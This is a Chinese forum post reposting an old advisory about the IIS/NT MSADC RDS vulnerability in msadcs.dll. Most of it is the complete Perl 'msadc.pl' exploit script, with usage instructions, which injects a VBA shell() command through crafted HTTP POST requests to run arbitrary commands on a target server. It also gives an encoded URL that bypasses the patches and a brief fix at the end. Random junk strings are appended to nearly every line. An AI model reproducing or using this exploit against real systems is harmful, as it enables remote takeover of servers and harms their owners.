社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 165842阅读
  • 1回复

IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) q&jZmr  
'bY^=9&|  
涉及程序: [ ]3xb`<&  
Microsoft NT server #mk#&i3"k  
*vJ1~SRV  
描述: 9^v|~f  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 mgG0uV  
=bN[TD  
详细: O4 \GL  
如果你没有时间读详细内容的话,就删除: |rW}s+Kcr  
c:\Program Files\Common Files\System\Msadc\msadcs.dll M`BD]{tN}  
有关的安全问题就没有了。 Eqp?cKrji  
Mr2dhSQ !  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 LP@Q8{'  
XXuU@G6Z7$  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 cX7xG U  
关于利用ODBC远程漏洞的描述,请参看: >p\IC  
0z#+^  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 75!IzJG  
&m>`+uVBP  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 CyzvQfpZr  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp *r:8=^C7S  
bxkp9o  
这里不再论述。 FxM`$n~K  
HY5g>wv@  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: [Gh T.  
MyCX6+Ci)  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ~;UK/OZ  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! )uwpeq$j7l  
8@6:UR.)  
mEz&:A  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 0J@)?,V-.  
k W/3 Aq7r  
#!perl ORcl=Eo>  
# =zqOkC h$  
# MSADC/RDS 'usage' (aka exploit) script PS`)6yn{_  
# ?h1]s&^| 2  
# by rain.forest.puppy n$5,B*  
# a3HT1!M)  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me &p8K0 |  
# beta test and find errors! LNXhzW   
4K0N$9pd:  
use Socket; use Getopt::Std; "E/F{6NH  
getopts("e:vd:h:XR", \%args); wF?THkdFo  
TL]2{rf~  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; >/1.VT\E  
"JJ )w0  
if (!defined $args{h} && !defined $args{R}) { aODOc J N  
print qq~ |;OM,U2  
Usage: msadc.pl -h <host> { -d <delay> -X -v } ZN%$k-2  
-h <host> = host you want to scan (ip or domain) 'V 1QuSd  
-d <seconds> = delay between calls, default 1 second ],qG!,V  
-X = dump Index Server path table, if available hJhdHy=U  
-v = verbose TeHL=\L-^  
-e = external dictionary file for step 5 9g^@dfBV  
o \b8lwA,  
Or a -R will resume a command session CN\s,. ]  
.H7"nt^  
~; exit;} B`"-~4YAf  
!x;T2l  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; +P}'2tE~'  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} hkHMBsNi  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} `hM ]5;0  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); z)43+8;  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} T=;'"S  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } N+HN~'8r  
<^n9?[m*  
if (!defined $args{R}){ $ret = &has_msadc; \&@Tq-o  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} #^!oP$>1  
RX?Nv4-  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" Zp- Av8  
. "cmd /c "; g 4Vt"2|  
$in=<STDIN>; chomp $in; 1swh7  
$command="cmd /c " . $in ; /~J#c=  
0/{-X[z  
if (defined $args{R}) {&load; exit;} aJI>qk h?]  
Yfxc$ub  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; Mgcq'{[~Y=  
&try_btcustmr; k5g\s9n]  
=!{}:An1$  
print "\nStep 2: Trying to make our own DSN..."; UupQ* ,dJ  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; )c]GgPH  
 Gp@Y=mU  
print "\nStep 3: Trying known DSNs..."; 1MfRF v  
&known_dsn; P)>WIQSr  
"o;l8$)VL  
print "\nStep 4: Trying known .mdbs..."; o)"}DeV$&  
&known_mdb; 84)S0Y8w  
j(/"}d3osm  
if (defined $args{e}){ rZ:  
print "\nStep 5: Trying dictionary of DSN names..."; ?kE2 S6j5  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } *=^_K`y  
'qQ DM_+  
print "Sorry Charley...maybe next time?\n"; !Aunwq^  
exit; ?D57HCd`n  
\m5:~,p=  
############################################################################## 4\Y=*X  
[RC|W%<Z>  
sub sendraw { # ripped and modded from whisker W%0-SR  
sleep($delay); # it's a DoS on the server! At least on mine... '~liDz*O   
my ($pstr)=@_; \ {"8(ELX  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || tQo"$ JN}  
die("Socket problems\n"); W=I%3F_C"R  
if(connect(S,pack "SnA4x8",2,80,$target)){ G\jr^d\  
select(S); $|=1; 5XFhjVmEL  
print $pstr; my @in=<S>; (Clf]\_II  
select(STDOUT); close(S); -_>c P  
return @in; N;r,B  
} else { die("Can't connect...\n"); }} rd%3eR?V  
d 'x;]#S  
############################################################################## 8V=I[UF.1?  
E<-}Jc1  
sub make_header { # make the HTTP request `1M_rG1/+  
my $msadc=<<EOT PM%./  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 ~g1@-)zYxK  
User-Agent: ACTIVEDATA Qbt fKn95  
Host: $ip |])%yRAGQ  
Content-Length: $clen m_\CK5T_  
Connection: Keep-Alive rUx%2O|qu  
=k3QymA  
ADCClientVersion:01.06 m='+->O*'l  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 MW'z*r|,  
z-krL:A  
--!ADM!ROX!YOUR!WORLD! PcDPRX!@  
Content-Type: application/x-varg 7F}I.,<W  
Content-Length: $reqlen gj6"U {D  
`Bkba:  
EOT %4n=qK9T 5  
; $msadc=~s/\n/\r\n/g; Z PZ1 7-  
return $msadc;} dn%/SJC  
#?}Y~Oe  
############################################################################## Q6Jb]>g\H  
G!0|ocE}  
sub make_req { # make the RDS request O}#*U+j  
my ($switch, $p1, $p2)=@_; #'$CC<*vy  
my $req=""; my $t1, $t2, $query, $dsn; Pvbw>k;  
P5] cEZ n  
if ($switch==1){ # this is the btcustmr.mdb query *$^M E  
$query="Select * from Customers where City=" . make_shell(); nU`vj`K   
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . d=lZhqY  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}  ^B1vvb  
{nj\dU  
elsif ($switch==2){ # this is general make table query 1DZGb)OU  
$query="create table AZZ (B int, C varchar(10))"; =YLt?5|e  
$dsn="$p1";} IO v4Zx<)  
G@,qO#5&  
elsif ($switch==3){ # this is general exploit table query 'y'>0'et  
$query="select * from AZZ where C=" . make_shell(); Eptsxyz{  
$dsn="$p1";} >A2& Mjo  
Ge(r6"%7  
elsif ($switch==4){ # attempt to hork file info from index server P d*}0a~  
$query="select path from scope()"; B<:i[~`7t  
$dsn="Provider=MSIDXS;";} b!7"drge:  
2uiiTg>  
elsif ($switch==5){ # bad query xu& v(C9  
$query="select"; J8/>b{Y  
$dsn="$p1";} H(?z?2b p  
u@==Ut  
$t1= make_unicode($query); !aLByMA  
$t2= make_unicode($dsn); \ZCc~muR  
$req = "\x02\x00\x03\x00"; $t}L|"=8X  
$req.= "\x08\x00" . pack ("S1", length($t1)); ap;*qiNFQ  
$req.= "\x00\x00" . $t1 ; i$%;z~#wW  
$req.= "\x08\x00" . pack ("S1", length($t2)); (Ca\$p7/  
$req.= "\x00\x00" . $t2 ; T3M 4r|  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; K;[V`)d'  
return $req;} fFSW\4JD=  
OP:;?Fs9`  
############################################################################## 8)R )h/E>  
(">!vz  
sub make_shell { # this makes the shell() statement <C CEqY 4  
return "'|shell(\"$command\")|'";} xA&G91|s  
:hxfd b-  
############################################################################## f$(w>B7..  
C_'Ug  
sub make_unicode { # quick little function to convert to unicode {&K#~[)  
my ($in)=@_; my $out; .lTGFeJqZ4  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } p(f)u]1`  
return $out;} 3y 0`G8P'h  
"b -KVZ  
############################################################################## o Q{gh$6*  
 0m*0I >  
sub rdo_success { # checks for RDO return success (this is kludge) *pI3"_  
my (@in) = @_; my $base=content_start(@in); 2"V?+Hhz  
if($in[$base]=~/multipart\/mixed/){ $9Z8P_^.0(  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} eDTEy;^o  
return 0;} eZP"M 6  
';b/D   
############################################################################## (qB$I\  
QdDdrR^&  
sub make_dsn { # this makes a DSN for us /l:3* u  
my @drives=("c","d","e","f"); PPE:@!u<  
print "\nMaking DSN: "; , JVD ;u  
foreach $drive (@drives) { L$(W* PG}  
print "$drive: "; mjy%xzVr6^  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 3R4-MK  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" d@] 0 =Ax  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); PX]A1Kt?  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; z KJ6j]m  
return 0 if $2 eq "404"; # not found/doesn't exist %li'j|  
if($2 eq "200") { <([o4%  
foreach $line (@results) { u!{P{C  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} nM}X1^PiK"  
} return 0;} '1.T-.4>&  
{u9VHAXCf  
############################################################################## V3I&0P k  
2psLX  
sub verify_exists { ,F:l?dfB\I  
my ($page)=@_; oVmGZhkA@'  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ,Sz*]X  
return $results[0];}  /H!I90  
q/%f2U%4:  
############################################################################## 6S`eN\s  
9^Wj<  
sub try_btcustmr { 7b'XQ/rs  
my @drives=("c","d","e","f"); `n5|4yaG~  
my @dirs=("winnt","winnt35","winnt351","win","windows"); "p$`CUtI  
] J:^$]  
foreach $dir (@dirs) { hnG'L*HooE  
print "$dir -> "; # fun status so you can see progress *W# x#0j  
foreach $drive (@drives) { 9>%f99n  
print "$drive: "; # ditto v*3ezf\  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; Lxd*W2$3_  
$reqlenlen=length( "$reqlen" ); {f3T !e{  
$clen= 206 + $reqlenlen + $reqlen; lBPZB%  
t0}3QGf;c  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 5 QMu=/  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} dw Aju:-H  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} i:{a-Bd  
Y.Gr(]tk  
############################################################################## tr/S*0$  
KY4|C05 ,  
sub odbc_error { atW;S99#  
my (@in)=@_; my $base; X$%RJ3t e  
my $base = content_start(@in); ZH~m%sA  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this O]lWaiR`  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Q[8L='E  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; n*bbmG1  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; T7!a@  
return $in[$base+4].$in[$base+5].$in[$base+6];} hQl3F6-ud  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 46}/C5  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . PtmdUHvD  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} BnAia3z  
Eiz\Nb  
############################################################################## LFg<j1Gk`  
N}\$i&Vi  
sub verbose { 3go!P])  
my ($in)=@_; ~?[@KK  
return if !$verbose; F(@|p]3*  
print STDOUT "\n$in\n";} oa;[[2c  
wf8vKl#Kfw  
############################################################################## 1Qf5H!5vx  
Mgf80r=  
sub save { t{84ioJ"$  
my ($p1, $p2, $p3, $p4)=@_; hDVD@b  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ~v+& ?dg  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; b6);bX>e  
close OUT;} pm<<!`w"  
,:;nq>;  
############################################################################## u4+)lvt  
c67O/ B(  
sub load { Ak>RLD25_  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; =X-$k k  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); sV3/8W13  
@p=<IN>; close(IN); ^HC! my  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); B8[H><)o\y  
$target= inet_aton($ip) || die("inet_aton problems"); jC; XY!d6  
print "Resuming to $ip ..."; ^$rt|]  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; 1N:eM/a  
if($p[1]==1) { d![EnkyL;  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; 6OIA>%{  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 7jEAhi!Cq(  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); gKS^-X{x  
if (rdo_success(@results)){print "Success!\n";} tTQ>pg1{qh  
else { print "failed\n"; verbose(odbc_error(@results));}} T[ky7\  
elsif ($p[1]==3){ /mqEc9sq,  
if(run_query("$p[3]")){ gEPCXf  
print "Success!\n";} else { print "failed\n"; }} uOm fpgO  
elsif ($p[1]==4){ r1F5&?{q  
if(run_query($drvst . "$p[3]")){ ;k!Ej-(  
print "Success!\n"; } else { print "failed\n"; }} rQ~%SUM7  
exit;} ^#g GA_H  
\n+`~< i  
############################################################################## NIV&)`w  
4my8 p Fk  
sub create_table { KDHR} `  
my ($in)=@_; Ur5X~a\y  
$reqlen=length( make_req(2,$in,"") ) - 28; J,P7k$t2vv  
$reqlenlen=length( "$reqlen" ); pMs%`j#T  
$clen= 206 + $reqlenlen + $reqlen; :/ "q NPJ  
my @results=sendraw(make_header() . make_req(2,$in,"")); ,uDB ]  
return 1 if rdo_success(@results); :vV?Yv%P)n  
my $temp= odbc_error(@results); verbose($temp); bpKb<c  
return 1 if $temp=~/Table 'AZZ' already exists/; !f_Kq$.{  
return 0;} ]lm9D@HMC  
z2nDD6N  
############################################################################## F>!fu.Ws  
zb:p,T@5  
sub known_dsn { g($y4~#  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go N2q'$o  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", ~-'nEATE  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", MPM_/dn-  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); UW)k]@L  
Pm" ,7  
foreach $dSn (@dsns) { gqG l>=.m  
print "."; NV*t  
next if (!is_access("DSN=$dSn")); ,4EE9 ?J  
if(create_table("DSN=$dSn")){ #[Ns\%Ri0  
print "$dSn successful\n"; ZTHr jW1  
if(run_query("DSN=$dSn")){ ?4gYUEM#  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { U'Vz   
print "Something's borked. Use verbose next time\n";}}} print "\n";} 5k<HO_]  
~e'FPVDn  
############################################################################## <3ovCqa  
YzEa?F*$  
sub is_access { $yc&f(Tv  
my ($in)=@_; ^\Jg {9a  
$reqlen=length( make_req(5,$in,"") ) - 28; F<G.!Y8!&  
$reqlenlen=length( "$reqlen" ); z[CCgs&vqe  
$clen= 206 + $reqlenlen + $reqlen; qj=12;  
my @results=sendraw(make_header() . make_req(5,$in,"")); C2DNyMu  
my $temp= odbc_error(@results); H-0deJ[>  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); cBc6*%ZD  
return 0;} !k%Vw1 8  
8 I,(\<Xv  
############################################################################## qmJFXnf  
X8?|5$Ey  
sub run_query { X~n Kuo  
my ($in)=@_; /I".n]  
$reqlen=length( make_req(3,$in,"") ) - 28; Neey myW  
$reqlenlen=length( "$reqlen" ); KHdj#3<AR  
$clen= 206 + $reqlenlen + $reqlen; 8Ck:c45v  
my @results=sendraw(make_header() . make_req(3,$in,"")); $6ITa}o  
return 1 if rdo_success(@results); KRm4r  
my $temp= odbc_error(@results); verbose($temp); ( 3=.3[  
return 0;} [wIyW/+  
>(d+E\!A  
############################################################################## vhKeW(z  
1~ZDHfd5  
sub known_mdb { ^c.b@BE  
my @drives=("c","d","e","f","g"); Q_M2!qj  
my @dirs=("winnt","winnt35","winnt351","win","windows"); *>Om3[D  
my $dir, $drive, $mdb; >TK`s@jdSV  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; [o> /2  
pE15[fJ`  
# this is sparse, because I don't know of many M.H4ud  
my @sysmdbs=( "\\catroot\\icatalog.mdb", `^|mNh  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", $]Y' [pE@  
"\\system32\\certmdb.mdb", a08B8  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% N!Kd VDdT|  
574 b]  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", ZtDHN L  
"\\cfusion\\cfapps\\forums\\forums_.mdb", A5 8i}G9  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", z?FZu,h}  
"\\cfusion\\cfapps\\security\\realm_.mdb", `p'L3u5H-  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 'pZ~3q  
"\\cfusion\\database\\cfexamples.mdb", ~hP[[?  
"\\cfusion\\database\\cfsnippets.mdb", ]Jv Z:'g}  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", .L6t3/^  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 7.akp  
"\\cfusion\\brighttiger\\database\\cleam.mdb", )M^;6S  
"\\cfusion\\database\\smpolicy.mdb", .hZ =8y9  
"\\cfusion\\database\cypress.mdb", =a7m^e7  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", aLhTaB-va  
"\\website\\cgi-win\\dbsample.mdb", zKgW9j<(  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", LF{qI?LG  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" )pJ}o&J  
); #these are just ?MO'WB9+JR  
foreach $drive (@drives) { `4Nc(aUr  
foreach $dir (@dirs){ `4l>%S8y:  
foreach $mdb (@sysmdbs) { %3"3OOT7  
print "."; V}@c5)(j  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ bCA3w%,kM  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; ]:]2f 9y  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ hoSk  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; s7T=/SC54  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 2yeq2v   
!YAkHrF`[0  
foreach $drive (@drives) { H${Ym BG  
foreach $mdb (@mdbs) { v  mw7H  
print "."; r|0C G^:C  
if(create_table($drv . $drive . $dir . $mdb)){ UDuKG\_J<y  
print "\n" . $drive . $dir . $mdb . " successful\n"; WDgp(Av!  
if(run_query($drv . $drive . $dir . $mdb)){ nE::9Yh8z  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; (}] 74Lc  
} else { print "Something's borked. Use verbose next time\n"; }}}} "ZT=[&2  
} v-OGY[|97  
$0cMrf@  
############################################################################## _%<7!|"  
b*.)m  
sub hork_idx { #v~zf@<KLB  
print "\nAttempting to dump Index Server tables...\n"; |!IJ/ivEgw  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; d5sG t#   
$reqlen=length( make_req(4,"","") ) - 28; BWw7o{d  
$reqlenlen=length( "$reqlen" ); |%zhwDQ.  
$clen= 206 + $reqlenlen + $reqlen; lWnV{/q\X  
my @results=sendraw2(make_header() . make_req(4,"","")); TSE(Kt  
if (rdo_success(@results)){ C8NbxP  
my $max=@results; my $c; my %d; >+1^XeeS  
for($c=19; $c<$max; $c++){ c WK@O>  
$results[$c]=~s/\x00//g; \U~ggg0h  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; vP&*(WfO)  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; t"RgEH@  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; X2sK<Qluql  
$d{"$1$2"}="";} <J`_Qc8C  
foreach $c (keys %d){ print "$c\n"; } {"4t`dM  
} else {print "Index server doesn't seem to be installed.\n"; }} gxt2Mq;q~}  
AS4m227  
############################################################################## a$;+-Y  
f ( UcJx  
sub dsn_dict { x2|DI)J1'  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); QC ?8  
while(<IN>){ 'fK_J}+P  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; :~6%nFo  
next if (!is_access("DSN=$dSn")); AZ!G-73  
if(create_table("DSN=$dSn")){ \k;raQR4t*  
print "$dSn successful\n"; P+"#xH  
if(run_query("DSN=$dSn")){ F(SeD)ml  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {  FcfN]!  
print "Something's borked. Use verbose next time\n";}}} %y8w9aGt  
print "\n"; close(IN);} zU1rjhv+  
QHtpCNTVb  
############################################################################## ,wZ[Y 3  
xB9^DURr\  
sub sendraw2 { # ripped and modded from whisker R<JI  
sleep($delay); # it's a DoS on the server! At least on mine... Hi.JL  
my ($pstr)=@_; = ng\  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 5<d Y,FvX  
die("Socket problems\n"); e(!a~{(kq%  
if(connect(S,pack "SnA4x8",2,80,$target)){ mHw1n=B  
print "Connected. Getting data"; ;Oe6SNquT  
open(OUT,">raw.out"); my @in; hM>xe8yE  
select(S); $|=1; print $pstr; %}$6#5"';  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} |fRajuA;  
close(OUT); select(STDOUT); close(S); return @in; 4b7}Sr=`  
} else { die("Can't connect...\n"); }} S0p]:r ";x  
Ep0Aogp29  
############################################################################## N}Q,  
C-4I e  
sub content_start { # this will take in the server headers b\^Sz{  
my (@in)=@_; my $c; )OjbmU!7  
for ($c=1;$c<500;$c++) { ts9N$?0:V  
if($in[$c] =~/^\x0d\x0a/){ %>24.i"l  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } _#N~$   
else { return $c+1; }}} GI6 EZ}.MZ  
return -1;} # it should never get here actually 1l1X1  
vLpE|QZs  
############################################################################## c}rRNS$F  
;{HxY98Q  
sub funky { C"0gAN  
my (@in)=@_; my $error=odbc_error(@in); bS0^AVA  
if($error=~/ADO could not find the specified provider/){ /B}]{bcp$  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; D0"+E*   
exit;} CsuSg*#X+  
if($error=~/A Handler is required/){ pRt )B`#  
print "\nServer has custom handler filters (they most likely are patched)\n"; gvwR16N  
exit;} %J+$p\c  
if($error=~/specified Handler has denied Access/){ "gK2!N|#  
print "\nServer has custom handler filters (they most likely are patched)\n"; sy>Pn  
exit;}} q$EVd9aN  
lkw[Z}\  
############################################################################## BDB-OJ  
L6Ynid.k  
sub has_msadc { 's&Vg09D,  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); R@"N{ [9  
my $base=content_start(@results); faMUd#o&  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); n,V`Y'v)  
return 0;} QP\vN|r  
X)nOY*  
######################## nq6]?ZJ  
%t<Y6*g  
<v5toyA  
解决方案: EH,uX{`e  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll :ye)%UU"|:  
2、移除web 目录: /msadc
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 kdW i!Hp  
dC.uK^FuJ  
拿出来充数 哈哈
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八